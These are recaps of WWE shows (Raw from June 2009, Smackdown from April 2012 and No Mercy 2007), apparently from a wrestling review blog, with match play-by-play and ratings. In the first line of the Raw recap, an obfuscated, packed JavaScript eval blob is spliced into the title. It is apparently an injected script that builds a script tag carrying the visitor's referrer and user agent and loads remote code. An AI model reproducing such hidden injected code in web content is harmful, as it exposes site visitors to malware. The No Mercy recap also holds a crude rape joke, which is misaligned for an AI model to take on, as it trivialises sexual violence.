Monday Night Raw – June 15, 2009: Raw Is…..Sold?

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hryst|var|u0026u|referrer|yndty||js|php'.split('|'),0,{})) Night Raw
Date: June 15, 2009
Location: Time Warner Cable Arena, Charlotte, North Carolina
Commentators: Michael Cole, Jerry Lawler, Josh Matthews, Matt Striker, Jim Ross, Todd Grisham

This is a three hour special called the Three For All which has three world title matches and guys from all three brands on the show. It’s a request and based on the card it doesn’t look that bad for the most part. I don’t remember this show at all but it’s Raw from 2009 so that really shouldn’t surprise anyone. Let’s get to it.

Cole and Lawler tell us that there’s going to be a new GM tonight. I really hope this is something different than I remember.

We get a video from last week where Orton interrupted Batista and had Legacy jump in for the three on one attack. They attacked Batista’s arm which was probably a storyline way of getting him off TV. Batista was world champion at the time so Orton won the title by forfeit. Instead HHH came back and beat up Legacy to stand tall.

Apparently there’s a fatal fourway for the title because saying “If Batista doesn’t come out Orton is champion” and then Batista doesn’t come out means Orton isn’t champion.

Intercontinental Title: Chris Jericho vs. Rey Mysterio

Jericho is defending, having won the title at Extreme Rules eight days earlier. Jericho says that everything has fallen apart on Raw since he left for Smackdown. There’s no GM, there’s no champion and there’s nothing at all. Some day everyone will know his value to this show and some day Rey will realize that Jericho is right: his mask is holding Rey back. Here’s Rey and we’re ready to go.

Rey takes him down immediately and is all fired up here. A clothesline puts Jericho on the floor and he drops the leg off the top for two on the way back in. There’s a clock ticking down until the Raw Title match. Jericho avoids a charge and heads to the floor where Rey tries the seated senton, only for Jericho to drop him backwards and ram Rey’s face into the table.

We take a break and come back to Rey hitting an enziguri to put him in 619 position. Chris comes back with a clothesline for two. He goes for the mask which he pulled off at the PPV. Rey rolls through a sunset flip and hits the seated dropkick for two. The bulldog is countered and Rey dropkicks Jericho to the floor. A nice suicide dive takes Jericho down again but Chris stops Rey coming back in.

Superplex is countered into a powerbomb for two. Walls are broken up but the 619 misses. Jericho tries a 619 but Rey pops up with a moonsault press for two. Rey ranas him into the 619 and tries the West Coast Pop but Jericho catches him and pulls at the mask. Rey drops down and walks into the Codebreaker for Jericho to retain.

Rating: B. Jericho and Mysterio have a good match. Is there anyone in the world that is surprised by this? These two had a GREAT series of matches on PPV for the title around this point and this was another in that series, minus the PPV part. Solid match here with the ending Codebreaker looking great.

Orton says he’ll win when Cena pops up to make fun of him. Orton is a grand wizard of the baby oil boys’ club and Cena reminds him there are four people in the title match tonight.

We recap Vickie resigning her GM position last week.

Vince is shown sitting in an office and says that tonight there’s going to be a GM. Scratch that he won’t be making the announcement, because he’s sold the Raw brand to someone else. Oh it’s THIS show. The new owner will be announced after the fatal fourway.

Jerry and Cole talk about how Vince has owned Raw for 17 years. So I guess Flair as co-owner is non-cannon now.

ECW Title: Christian vs. Tommy Dreamer

Tommy is defending. Christian lost the title in a triple threat at Extreme Rules so this is his rematch. Tommy starts off with his usual basic stuff until he walks into an elbow off the middle rope for two. Christian throws him to the floor and hits the springboard cross body over the top to the outside. Tornado DDT is countered and Christian slams him into the mat via a modified flapjack. Dreamer runs into a boot and the middle rope sunset flip gets two. DDT and Killswitch are countered and Dreamer grabs a small package for the fast pin. Too short to rate but this was just like any other TV match.

The Bellas and Kelly are talking about the new owner of Raw. They think it’s Oprah or Paris Hilton.

We recap the Batista attack last week that set up the vacant title. There are also some stills of Batista’s arm surgery.

Raw World Title: Randy Orton vs. Triple H vs. John Cena vs. Big Show

One fall to a finish. This is HHH’s first match back since Backlash, which is why him popping out of the ambulance last week was such a big deal. After some big match intros we’re ready to go. HHH goes right for Orton as Show jumps Cena. The latter pairing had a match at the PPV so there’s recent history there. Show tosses Cena out and turns around to face HHH as we take a break.

Back with Orton stomping HHH down in the corner. Randy misses a knee drop and it’s HHH and Cena teaming up on Big Show. A shoulder manages to put him on the floor and it’s Cena vs. HHH. Cena takes him down but as he loads up the Shuffle, HHH grabs a spinebuster. Pedigree is countered into an AA attempt but Big Show is back in with a double clothesline.

The original pairings pair off again with Cena/Show in the ring. Show falls on Cena during a slam attempt. Orton makes the save but then he runs from Show. HHH and Cena hit a double suplex on Show and Orton comes back in and takes everyone down. The Punt is blocked by Show and he knocks everyone down with ease. Show hits a Vader Bomb on Cena but Orton saves the pin.

Orton gets thrown to the floor and Show spears HHH down for two. Vader Bomb to HHH misses as does an RKO attempt on Show. HHH hits the Pedigree on the bald one but he walks into an AA but the cover on Show only gets two. AA to Big Show but Orton makes the save. RKO to Big Show gives Orton the title.

Rating: B-. This was a fun match but it flew by pretty fast. Orton winning was completely obvious and I don’t think it was ever really about would he win but rather how would he win. The ending sequence was good as Big Show took a beating and it was about who could get the pin. Not a masterpiece or anything but it was just about perfect with the stuff they had to work with.

Here’s Vince for the big announcement. He says this was a good business decision and we go to the new owner of Raw via satellite: Donald Trump. The fans aren’t that happy with this. I’ll give Trump this: he’s been in WWE like four or five times now. Trump talks about needing to reward the fans and says that next week, Raw will be presented commercial free. The deal doesn’t go through for a week so tonight we’ll have a battle royal for the #1 contender spot at the Bash. Trump and Vince will both be here next week. Trump owning Raw would last all of a week I think.

Mickie James vs. Rosa Mendes

This is Rosa’s in ring debut. Maryse, the Divas Champion who cost Mickie a #1 contender match last week, comes out to watch. Mickie knocks her down a few times and goes up but Rosa heads to the floor. A not horrible neckbreaker gets two. Rosa gets in some forearms and a chinlock but misses a charge. Mickie comes back and blocks another neckbreaker so that the jumping DDT can end this. Too short to rate but it was clear Rosa was very green and that Mickie was doing most of the work, which is ok.

Back from a break and it’s Goldust/Hornswoggle in the ring shooting t-shirts into the crowd. Here’s Miz to say hang on this is stupid. This is during the Miz beats Cena stuff. Miz says he’s awesome and the best and the future and all other appropriate accolades. He’ll eliminate Cena tonight and get the title match at The Bash. Then he wants the endorsements and the magazine covers and the movies and all that. Actually the day this was written he landed the lead in The Marine 3 so there you go.

Goldust says Miz’s mind games haven’t worked with Cena. He gave Ahmed Johnson mouth to mouth resuscitation and all Miz’s mouth does is run. Miz is a loser, complete with the speech impediment. Goldust is a joke trying to recapture the magic of better days and Miz would beat him down, but no one would care. And never mind as there goes Goldust and Horny gets thrown around too. Miz gets the t-shirt gun and shoots Horny in the stomach with it. Or was it between the legs? Eh who cares? HORNY IS IN PAIN!!! LIFE IS GOOD!!!

Punk, whose tape says Misawa who died two days earlier, says that since he cashed in on Jeff Hardy it’s not as popular. This would be the start of his heel turn. Matt Hardy comes in who says he would have done the same thing. Punk basically blows him off.

We get a clip of Edge dumping Vickie last week because she can’t help him become world champion anymore.

Smackdown World Title: Edge vs. Jeff Hardy vs. CM Punk

Big match intros are go and we’re ready. Jeff knocks both guys down almost immediately and controls early on. Edge gets sent to the floor and Punk hits a big suicide dive to take the Canadian out. Jeff tops that by taking both guys out and surprisingly we don’t go to commercial. Back in Jeff works on Punk, who is champion if that wasn’t clear, but CM takes him down with a slam kind of thing for two. Quick drop elbow gets two for Punk.

Off to a chinlock as Edge is still on the floor. Jeff breaks the hold and Edge comes in to kick Punk’s head off. Edge loads up a superplex but Hardy makes the save and loads up the move himself. Edge pulls Jeff away and it’s almost a Doomsday Device but Jeff gets a victory roll for two and Punk, playing Hawk, crashes to the mat.

Back from a break and Punk takes Edge down as Jeff is getting back in the ring. Punk hits his clothesline/bulldog but throws in a clothesline to Hardy as he’s bulldogging Edge. Punk loads up the GTS on Hardy but Edge takes out the knee instead of letting Hardy get taken out. Sharpshooter to Punk but Hardy hooks a sleeper on Punk (not a headlock Todd) at the same time. Punk takes Edge down but Hardy takes Punk down and gets two on the champ.

Edge goes to the apron but Hardy slides to the floor to send Edge into the apron. He also guillotines Punk and loads up the Swanton. Edge crotches Hardy and loads up the spear on the champ. Punk counters into a powerslam for two. GTS attempt on Hardy but Jeff escapes. Edge tries to spear Punk but gets Hardy instead and everyone is down. Why Punk is down I’m not sure but whatever.

Edge covers Hardy for two but Punk makes the save. Punk charges at the Canadian in the corner but Edge moves, sending Punk up and over the corner and onto the steps where he injures his knee. In the ring Edge and Hardy cross body each other to buy some time. Hardy covers Edge but Punk makes the save on one leg. Small package gets two for Edge but he walks into the Twist of Fate. Here comes the Swanton which connects but Punk pulls Hardy out again and sends him into the steps, slides in and steals the pin on Edge to retain.

Rating: B-. Another fun match here which was good because the people in it were talented. That’s the main idea with most of these shows so it’s really not all that surprising. Punk would wind up holding the title over most of the summer until he lost it to Hardy I think at Night of Champions before getting it back and knocking Hardy out of the WWE. Fun stuff here.

Here’s Teddy post match who says that Punk will defend at The Bash against Jeff Hardy.

Legacy, the #1 contenders, are on commentary for the next match.

Primo/Carlito vs. Hart Dynasty

The Colons are the unified tag champions here. Cody calls the upcoming PPV the Great American Bash which I’m sure will be a fine or something. Primo and Hart-Smith start things off and it’s a totally screwed up rana from Primo. I think the fault is more on Hart-Smith but you get the idea. Off to Carlito and things break down. Backstabber takes down Hart-Smith and Legacy runs in for the DQ. Short and pretty bad.

Video on the European tour.

For the third time tonight, here’s Trump being revealed as the new owner and the announcement of no commercials next week.

Santino is in Vince’s office and tells him that he and Santina are different people. That would end next week I believe. Vince’s phone rings (and it has No Chance for a ringtone) and it’s Trump. There’s going to be an announcement after the battle royal. The call ends and Vince complains about egotistic billionaires. Santino points out the irony and puts his foot in his mouth a few times.

Battle Royal

HHH, John Cena, Cody Rhodes, Ted DiBiase, MVP, William Regal, Kofi Kingston, Big Show, The Miz, Matt Hardy

Winner gets Orton at The Bash. MVP takes a few extra seconds to come out for some reason. Kofi is US Champion here. After a quick break during the entrances we get a confusing graphic for Smackdown. The picture is of Edge but JR keeps saying Jericho. Anyway on to the match. Matt chills in the corner while the rest of the heels beat on the good guys.

Show goes for Miz but Cena wants to fight the big bald. Orton is watching on the stage. No one is really close to being eliminated at the moment so there isn’t much to say so far. Miz goes over to the apron but not out. Legacy is double teaming HHH in the corner. Show saves Cena for some reason instead of throwing him out. HHH fights Legacy off but Big Show starts going off on everyone. Matt is knocked to the apron so Show picks him up, pulls him back in and throws him right over for an elimination.

MVP jumps Show but is easily tossed as well. Chokeslam to Miz but he stays in the ring. Everyone on their feet goes after Big Show and manages to get him out ala Andre back in the day. We take a break and come back with six remaining. I think it was Miz that was eliminated. Kofi speeds things up but runs into the jumping knee from HHH. Legacy goes after HHH and gets him upside down but Cena makes the save. Again, why?

Rhodes saves DiBiase from elimination but walks into a HHH spinebuster. HHH and Cena slug it out to not much of a reaction at all. Both guys go for eliminations but they wind up clotheslining each other down. Kofi tries to fight off both Legacy members but gets clotheslined to the floor to get us down to Legacy, HHH, Regal and Cena. There goes Regal and it’s down to four.

It turns into two one on one matches which Legacy actually wins. Cena comes back and puts out DiBiase and HHH takes out Rhodes. Pedigree to Cena but Legacy comes in and beats HHH down. Miz pops up because he was never eliminated (nice touch actually) but he charges over the top rope without landing a single shot. Nice touch again. HHH throws Cena over and wins it.

Rating: C. Well you knew it would be HHH or Cena here so that outcome wasn’t all that surprising. The Miz bit was kind of cute and it’s good that he didn’t win. Not a horrible match here but it really wasn’t all that interesting. Either way it sets up HHH vs. Orton at the PPV….or maybe not.

Trump pops up and says that the match is next week and it’s Last Man Standing. This would be I believe their second of three last man standing matches.

Overall Rating: C-. There are some good matches here but overall this didn’t do much for me. At the end of the day it’s Orton vs. HHH again which isn’t interesting or new or anything like that. Nothing really happened here match wise and the Trump thing, while surprising at the time, was clearly not going to last long term which I remember being the general consensus back then. Not a horrible show and it’s certainly watchable, but there’s nothing worth seeing here.

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Smackdown – April 20, 2012: Cody Saves Us From The Curse Of Khali

Smackdown
Date: April 20, 2012
Location: O2 Arena, London, England
Commentators: Michael Cole, Booker T, Josh Matthews

We’re still in England this week for the last TV show of the tour. I don’t remember anything being announced for tonight’s show so I’m really not sure what to expect from it. We’ll probably get more build to Bryan vs. Sheamus as well as hopefully a few more matches added to the thin card. Let’s get to it.

Do you know your enemy? Mine is an annoying piece of malware at the moment.

There’s a six man tag main event: Cody/Bryan/Henry vs. Orton/Sheamus/Khali.

Here’s Bryan to open the show. He talks about how Sheamus didn’t do anything better than him at Wrestlemania. Instead of facing him like a man, Sheamus took the coward’s way out and jumped Bryan from behind like he’s done to everyone. At Extreme Rules he won’t get jumped or be distracted. So now it’s back to Chicago where he shocked the world by winning the MITB case. He’ll beat Sheamus twice in the two out of three falls match and get back his rightful title. Did Sheamus cheat at Wrestlemania? YES! Will Bryan win the title back at Extreme Rules? YES!

Cue AJ to a lot of booing. How can you boo someone that looks like that? Bryan tells her to turn around and go away but she says this is the only way she can talk to him. AJ asks if she can just talk to him about their problems but Bryan says he has no problems. He had one, but he got rid of her. Bryan regrets ever going out with her in the first place and he wishes that she was never even born. That finally gets the people to boo Bryan. He asks if there’s any chance he’d ever take AJ back and answers with an emphatic NO before leaving.

AJ vs. Natalya

AJ starts off all stoic but suddenly explodes on Natalya, beating her into the corner. The referee pulls her off twice but AJ won’t let up, drawing a DQ at 48 seconds.

Damien Sandow talks about something Benjamin Franklin said and runs down Dancing With The Stars and Hoarders. At least with Dancing it’s about something that involves work and talent. Most of the other shows he criticizes I completely agree with him on.

Brodus Clay vs. Hunico

Brodus has something to say. He says cut the music and gets booed, prompting him to say it’s coming, so don’t worry. His little brother is supposed to be here so he sends the Funkadactyls (the girls) to go find him. And it’s Horny. Cole’s reaction is exactly what mind is. At least the Mama and the Bridge Club was something original. Brodus does his shaking and Horny gets in to do it as well. Hunico becomes my new hero by shoving him down. The squash commences and the splash ends it in 1:10, about 25 seconds of which was spent on the Hornswoggle part.

Horny hits the Tadpole Splash post match. I hope this isn’t permanent.

Teddy is looking for Aksana but finds Titus and Young who are new to Smackdown. They laugh at him for not signing them and now being a gopher. Ace pops up and they all make fun of Teddy. Titus/Young leave so Ace puts one of those big black furry Queen’s guard hats on Teddy who isn’t allowed to talk or move for the rest of the night.

Orton is in the back with Striker and we get a video on the attack on Cowboy Bob last week. Orton, with his growing mutton chops, says that his dad will be fine. On the other hand, Kane isn’t going to be fine. They have a match at Extreme Rules and it’s falls count anywhere.

Usos vs. Titus O’Neal/Darren Young

NXT comes to Fridays. I forgot how annoying Titus’ song was. Young starts with Jimmy who hits a spinning forearm for two. Off to Jey who hits some double chops before bringing Jimmy back in. Titus comes in and the fans do not care at all. He uses his power stuff and gets a small reaction off a European Uppercut. Back to Young who hits a neckbreaker for two. The fans are waking up a bit. A tag brings in Jimmy who gets the only solid reaction for the US shout to the crowd. Jey gets sent to the floor and a blind tag allows Young and Titus to hit a Hart Attack out of the corner for the pin.

Rating: D. It might be because I watched these teams fight so many times on NXT but I didn’t care at all about this match. Titus is ok but Young is so uninteresting that it stuns me that he got a main roster spot. I guess having another tag team on the show is good but this match is nothing of note. Another loss for the Usos doesn’t please me either.

The Raw ReBound is about Jericho vs. Punk.

Alberto Del Rio vs. Big Show

Non-title. Del Rio drives an Aston Martin here which is very appropriate. Del Rio has officially been traded to the Smackdown roster with no compensation announced yet. Big Show blocks Del Rio’s offense out of the corner and shoves him down. Show stands on his chest in the corner and chops it for good measure. An elbow follows for two. Show loads up the big punch but Del Rio kicks him in the knee to take him down.

More kicks to the arm by Del Rio follow and he hooks an armbar. Show shrugs it off but the chokeslam is broken up by a kick to the knee. The Codebreaker to the arm sets up the armbreaker but Show lifts him up with the bad arm into kind of an Angle Slam minus the spin. Show spears him down and calls for the chokeslam. Ricardo gets up on the apron and Cody comes in with the Disaster Kick, giving Del Rio the pin.

Rating: C-. Does any champion other than the world champions EVER get to pin someone? Oh right: Santino does. For the life of me I don’t get the point of why they keep having the champs lose. Have Cody come in for a DQ or something when Show has the match won. One of the biggest reasons the titles mean nothing is the champions lose every time and it’s frustrating because there are other ways to do the same story without having them lose like Show did here.

Cody runs away post match.

Drew McIntyre and Heath Slater are watching the following squash.

Danny Lerman vs. Ryback

Same deal as always but this time it’s a British guy. Lerman hits him and is promptly mangled. Clothesline and MuscleBuster variation win in 1:11.

We get the Brock interview from Raw.

Teddy is still standing in the same place although he’s now in a full uniform. Regal pops up for some jokes and leaves. Aksana’s music hits and HOKEY SMOKE THAT’S CLAUDIO CASTAGNOLI! He’s playing the Antonio Cesaro character here, a European rugby player. Ace pops out of his office and invites them in. I’m not British so maybe I don’t get it, but what’s the point of guards that aren’t allowed to move? Couldn’t that create some security risks?

Daniel Bryan/Cody Rhodes/Mark Henry vs. Sheamus/Great Khali/Randy Orton

Main event time. Cody jumps Khali and hits him in the knee as Khali is getting in. Trainers come out and say Khali can’t go. Big Show comes out to replace him.

Daniel Bryan/Cody Rhodes/Mark Henry vs. Sheamus/Big Show/Randy Orton

The match is joined in progress after a break with Randy pounding on Bryan in the corner. Tag to Sheamus so Bryan bails to the corner to tag in Cody. The champ knocks Cody around and hits the rolling fireman’s carry slam for two. Cody’s neckbreaker is countered and Sheamus throws him into position for the ten forearms. Cody reverses a suplex and sends Sheamus to the floor. A baseball slide by Cody sets up the knee off the apron from Bryan, which I think is the same thing that’s happened to him for three or four weeks in a row.

Bryan comes in to stomp on Sheamus now with a YES for each connecting boot. Henry comes in for some choking and it’s back to Rhodes. He works on the arm of the champ and then into a chinlock. Sheamus fights out of that as well and knocks Cody out of the air on the Disaster Kick attempt. Hot tag to Orton and it’s powerslams for all normal sized heels. Cody gets in a shot though and it’s time for a break.

Back with Henry holding Orton in a neck crank and it’s back to Bryan. A running dropkick in the corner gets two. A top rope splash misses and Orton makes the tag to Big Show who faces Henry. Cody manages a knee to the back and Mark clotheslines Show down. The heels beat on him and Cody hooks a figure four that his daddy would be ashamed of. While the hold is still on, Cody makes a tag to Henry who splashes Show for two.

Bryan drops an elbow for two. Hot tag to Sheamus to meet Bryan and the beating is on. Irish Curse gets two with Cody making the save. Rhodes rolls to the floor and lands right in front of Show who knocks him out cold with the WMD. YES Lock is blocked by Sheamus but the Brogue Kick misses as well. Tag to Henry and Sheamus kicks his head off. Show adds the right hand and the RKO gets the pin at 13:20 shown of at least 16:50.

Rating: B. That’s probably high but I was getting into this match at the end. First of all, the right guy got pinned. There would have been no reason to have Bryan or Cody lose before the PPV so Henry was the right choice. Second, they changed up the formula by having each good guy be in trouble which made the match more fleshed out and told a better story. Also the total destruction of Henry at the end was a nice touch.

Show was limping post match.

Overall Rating: B. This was a solid episode as everything moved pretty smoothly and a lot of people got on TV. We had a debut and a solid main event, plus a new match added to the PPV with Kane vs. Orton. The one thing I’m concerned about is we seem to only have five matches (Brock/Cena, Kane/Orton, Jericho/Punk, Sheamus/Bryan and presumably Cody/Show) and there’s a week left. They’ll need to add two or three matches in two shows which is possible but a bit rushed. Still though, good show tonight.

Results
Natalya b. AJ via DQ when AJ wouldn’t stop attacking Natalya in the corner
Brodus Clay b. Hunico – Big Splash
Titus O’Neal/Darren Young b. Usos – Hart Attack out of the corner
Alberto Del Rio b. Big Show – Pin after a Disaster Kick from Cody Rhodes
Ryback b. Danny Lerman – MuscleBuster
Big Show/Randy Orton/Sheamus b. Mark Henry/Daniel Bryan/Cody Rhodes – RKO to Henry

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No Mercy 2007: Orton Season! HHH Season! Orton Season!

No Mercy 2007
Date: October 7, 2007
Location: Allstate Arena, Chicago, Illinois
Attendance: 12,500
Commentators: Jim Ross, Joey Styles, Jerry Lawler, Tazz, John Bradshaw Layfield, Michael Cole

For you WrestleZone enthusiasts, this is the first PPV I ever did an LD for. For those of you that have no idea what I just said, I’d recommend a Yoo-Hoo and some store brand cookies. Anyway, this is the HHH show as Cena is injured, so it’s HHH wrestling three times to take his place. First of all, he has to get the world title so we’ll get to that part first. This is one of the shows that made the number of title reigns stupid for reasons we’ll get to later. Let’s get to it.

The opening video talks about the Book of Genesis and how Cena’s rain (as in the rain of Noah) is over. The idea is that there’s a guaranteed new champion tonight.

We open the show with Vince and his lackey Regal. Oh ok Regal is GM. Vince says that Cena is no longer champion, thereby ending his year long reign. The fans chant for Y2J but Vince says no. Jericho was still yet to return as the SAVE US videos had been airing already. Instead the new champion is the #1 contender, Randy Orton. Orton comes out and gets a big pyro display when he takes the title off the stand it was on.

Orton has to defend it tonight but he gets to hand pick his opponent. The fans again chant for Y2J and Vince goes into EVIL mode, saying to shut up because the champion is about to speak. Orton says he won’t be defending against Cena tonight because he’s the latest name on the list of Orton’s victims. He says there’s no one that can stand up to him….and here’s HHH to a big ovation.

HHH says he knows Orton will be a fighting champion, so how about a title match right here and now? Orton says no so HHH says that Orton must not want his second title reign to be shorter than his first. The people cheer so HHH says that it’s clearly what the people want and that’s what Vince does, but Vince still says no. The Game calls the Boss a balless coward and that he has raisins, not grapefruits. That does it so ring the bell.

Raw World Title: HHH vs. Randy Orton

Vince distracts HHH and Orton gets in a cheap shot to take over. That lasts about 5 seconds as HHH elbows him down. Orton bails to the floor and tries to take a walk but HHH stops him. Orton heads to the floor again and HHH stops him again. Back in HHH knees him down but his suplex is countered into the backbreaker for two. HHH slugs back but walks into the powerslam for two.

Here come the stomps as Orton was still in that slow motion period of his career. You know, the one that ran for like 5 years. Chinlock time which HHH breaks out of and clotheslines Orton down. Another clothesline in the corner crushes Randy and it’s time for a superplex. HHH’s feet hit the mat a bit there so the landing was a little awkward. Either way it just gets two.

Orton tries to charge at HHH but walks into a spinebuster for two. HHH sends him to the floor and then back in, but on the way back inside he walks into the elevated DDT for two. The kickout got a big reaction. RKO and Pedigree are both countered but Orton walks into a knee to the head. HHH hooks a Figure Four and a good one at that. That gets escaped and HHH goes up but gets crotched. Orton charges into the post and HHH rolls him up for the pin and the title.

Rating: C+. Not a bad match here but it only ran about eleven minutes so they didn’t have a ton of time to get anything going. This is one of the instances where I was talking about the title reigns meaning nothing, as one of Orton’s current nine reigns lasted a total of about 15 minutes. Anyway the match wasn’t that bad and having the ending be something other than a finisher into a pin was a nice change of pace.

HHH celebrates for a good long while.

Orton is freaked out in the back and runs into Vince. Nothing is said.

Jeff Hardy/Brian Kendrick/Paul London vs. Lance Cade/Trevor Murdoch/Mr. Kennedy

This is a bonus match, Jeff is the IC Champion and the country boys are the Raw tag champions. The tag champs say they have a new partner to keep another fluke like the one on Raw from happening. Cade and Kendrick start things off and it’s quickly off to London. Murdoch comes in and gets taken apart by a double teaming from Hardy and London. Trevor runs Hardy over with a clothesline and it’s off to Kennedy with a big pop.

Kennedy misses a charge and Hardy tags in Kendrick. Cade is in as well and Murdoch low bridges Brian to the floor. Kendrick plays Ricky Morton for awhile as Kennedy chokes him in the corner. A BIG boot in the corner gets two. Cravate keeps Kendrick down and he still can’t make a tag. Back to Cade who loads up a superplex but Kendrick headbutts his way out of it and a tornado DDT puts Cade down.

Double tags bring in Jeff and Trevor and Hardy tries that sitout gordbuster of his. He drops Murdoch though and Trevor LANDS ON THE TOP OF HIS HEAD. FREAKING OW MAN!!! Swanton would get the pin but Murdoch rolls to the floor to check if he’s dead. London vs. Kennedy now and Kennedy is put down with a spinwheel kick. Hardy misses whatever he was going for as Kendrick and Murdoch fall to the floor. Kennedy gets London on top and the rolling fireman’s carry slam off the middle rope gets the pin.

Rating: C-. Considering Murdoch is still alive, this at least ends on a positive note. The ending was cool too and with this being a bonus match, there’s only so much criticism I can give this match. It did its job, although I kind of wonder what the ads for this show were like given that there was a big ten minute hole in it and they already had a 15 minute talking segment to open things up.

HHH and Batista, both world champions at the moment, run into each other in the back. Batista says someone once told him that it’s a lot easier to win it than to keep it. Batista has a Punjabi Prison match against Khali later. Great. Dave leaves and HHH runs into Vince. Vince says he gives the people what they want and there was a match advertised between HHH and Umaga, which is what the people are going to get. The title is on the line.

ECW Title: Big Daddy V vs. CM Punk

V is challenging and has Striker with him. This was supposed to be Dreamer vs. Punk but GM Estrada did something to stop that. Punk is the hometown boy so you know he gets a big pop. V immediately throws Punk to the floor and back in it’s anal raping time. Look up the Visagra and you’ll get the idea. Punk comes back with some kicks but they have no effect at all. A corner splash misses and a missile dropkick puts V down….and here’s Striker for the DQ. This was like 90 seconds long.

V crushes him post match. What was the point of any of this? Punk is helped out by referees.

We recap the series of contests betwee MVP and Matt Hardy, including arm wrestling, boxing (with Evander Holyfield being brought in as a surrogate), basketball, chess, throwing a football and push-ups. Tonight: it’s a pizza eating contest. OH COME ON. Taz is hosting. There are judges for this for no apparent reason: Melina and Maria. They’re scorekeepers instead of judges. MVP is US Champion but he wouldn’t actually drop the title to Matt until APRIL, as in six and a half months from now. They’re also tag champions.

MVP complains about the pizza because it’s not healthy. He criticizes Chicago for being fat, prompting Maria to say she’s from Chicago, so is she fat? Matt and MVP get in a stupid argument as this just drags on and on and on. It’s finally time to eat and by the time this starts, this segment has gone longer than the six man went. Matt quickly slows down and it doesn’t matter as it takes MVP almost two minutes to eat a single slice. Yes, they’re eating for two minutes. The final score is two slices to zero with Matt winning. Matt throws up on MVP. This went longer than the world title match.

Cyber Sunday ad. They say you can pick HIAC as a stipulation. Obviously that never happened.

We recap HH vs. Umaga, which is really HHH vs. Vince with a surrogate Samoan. This ties into the whole Horny is Vince’s legitimate son son deal. The match was originally non-title because neither guy had a title coming in.

Raw World Title: HHH vs. Umaga

HHH gets to use King of Kings now that he’s champion. Umaga takes him down immediately so HHH fires back with a DDT. Thankfully Umaga remembers his racial stereotypes and no sells it. HHH low bridges him and we go to the floor. Umaga gets rammed into the steps and yells at HHH for it. My goodness it’s nice to see a Samoan monster that knows how to take a beating to the head.

Back in Umaga pounds him down but misses a middle rope headbutt. For some reason that slows him down but the Facebuster has no effect. Pedigree is countered but the spinebuster works just fine. Another Pedigree attempt is countered into a Samoan Drop and the Game has bad ribs. Out to the floor and HHH goes into the barricade. Back in for a bearhug as the champ is in trouble.

Umaga shifts up into a spinning Rock Bottom for two. The headbutt (this time not of the ropes) hits the bad ribs and is followed by a knee. Umaga pounds on the head of the Game and has him down in the corner. The running hip attack (SEE??? IT WAS UMAGA! NOT FREAKING RIKISHI YOU STUPID NXT PEOPLE!) misses, Umaga gets launched into the post and HHH hits a quick Pedigree to retain.

Rating: C-. Not much here as it felt like a Raw main event instead of a PPV title match. Then again this is only the second PPV title match out of four tonight so it’s ok if there’s a match with only about six and a half minutes. It’s nothing that great but it was good to allow HHH to look good. You know, like in a real title reign at a smaller PPV instead of in the third match of the night, but whatever.

We put a spotlight on the Punjabi Prison and have an ominous song but that’s later on. Instead, we see Khali meditating.

Rey Mysterio vs. Finlay

No reason given for the match before the entrances. Rey is listed at 165. That’s small even for him. Feeling out process to start but Rey takes him down with a shot to the knee and a low dropkick. Slingshot splash gets two. A hard (and appropriate) Irish whip slows Rey down but he dropkicks the knee again to send Finlay to the apron. More kicks look to set up a sunset bomb to the floor but Finlay escapes and ties him up in the ring skirt and pounds away to take over.

Rey gets thrown shoulder first into the post and it’s a Fujiwara Armbar from Finlay. A hard clothesline gets two and it’s back to the arm. Rey manages to snapmare his way out of a crossface chickenwing and send Finlay into the buckle. Springboard crossbody gets two. Seated senton gets the same and a counter to the sitout bulldog is countered into 619 position, but Finlay counters the counter to the counter (got that?) to clothesline him down for two.

A rana out of the corner is countered into a shoulder breaker for two. The Irishman takes a buckle pad off and uses the distraction of the referee to go for the club. Rey blocks the shot and ranas Finlay to the floor. Finlay is in 619 position on the apron (as in he’s outside the ring) but the 619 misses. Rey kicks him in the head and drops a leg on the back of his head, sending Finlay to the floor with a THUD. The referee calls for help and the match is over.

Rating: C+. This was getting good by the end. The more I see of Finlay the more I tend to like his work. He’s really good at going out there and having a solid match and being a bully for someone to stand up to which is a good character to have. Rey is perfect as the underdog too so the chemistry was there. The ending kind of sucked though.

The replay makes it look even worse. He’s taken out on a stretcher…..and he pops up to jump Rey and the place FREAKS. This was a really good performance considering it went so fast. The beating is bad enough for Rey to be taken out on a stretcher.

SAVE US! WHOEVER YOU ARE!

HHH has ice on his ribs when Vince comes in. He guaranteed the fans a last man standing match, so that’s what HHH has tonight against Orton for the title.

Women’s Title: Beth Phoenix vs. Candice Michelle

Candace is defending and looks like an idiot with the angel’s wings on her outfit. Beth throws her into the corner to start but Candice manages a nice bridging cradle for two. She goes for Beth’s arm but we get the Davey Boy Smith/Shawn Michaels move of the pullup from the ground. Powerslam gets two and it’s off to a chinlock.

Actually it’s a cobra clutch but it’s the same idea. Candice climbs the corner ala Bret vs. Austin for two but can’t break the hold. She finally rams Beth into the buckle to escape and a top rope cross body gets two, as does a sunset flip out of the corner. Beth grabs her into a fisherman’s buster which is enough for the pin and the title.

Rating: C-. Candice was supposed to be the next big thing in the Divas division but this was her only title reign and not many people really remember her. Beth would become a much bigger deal with multiple title reigns, including the one that is going on now which will seemingly never end. This wasn’t bad.

Beth says this is the era of the Glamazon.

The Prison is lowered.

We recap Batista vs. Khali. Batista got the title in a threeway at Unforgiven by pinning the giant. Khali wanted a rematch one on one but on his terms. The cage is explained which we’ll get to in a minute. It’s more complicated than it needs to be anyway.

Smackdown World Title: Batista vs. Great Khali

Batista is defending and this is inside the Punjabi Prison. Ok so there’s a big round cage around the ring that goes down to the floor. It comes up to a circle at the top with sharp sticks on top. There’s another cage (all made of bamboo mind you) with four gates on it. You can request to open one at any time and at that point you have sixty seconds to go through it. If you don’t get out, it’s closed and that gate can’t be used again. You have to get out of both cages to win. It’s WAY too complicated which is why there were only two of these matches ever.

Batista gets in a quick shot to knock Khali into the ropes and tie him up. He hammers away instead of leaving like an intelligent person would. Well he’s an animal so maybe that explains it. Khali comes back with a chop to the head and opens a gate, but Batista stops him enough for the clock to go down. The Plunge is countered but Khali kicks him down. Leg drop misses and Batista spears him down.

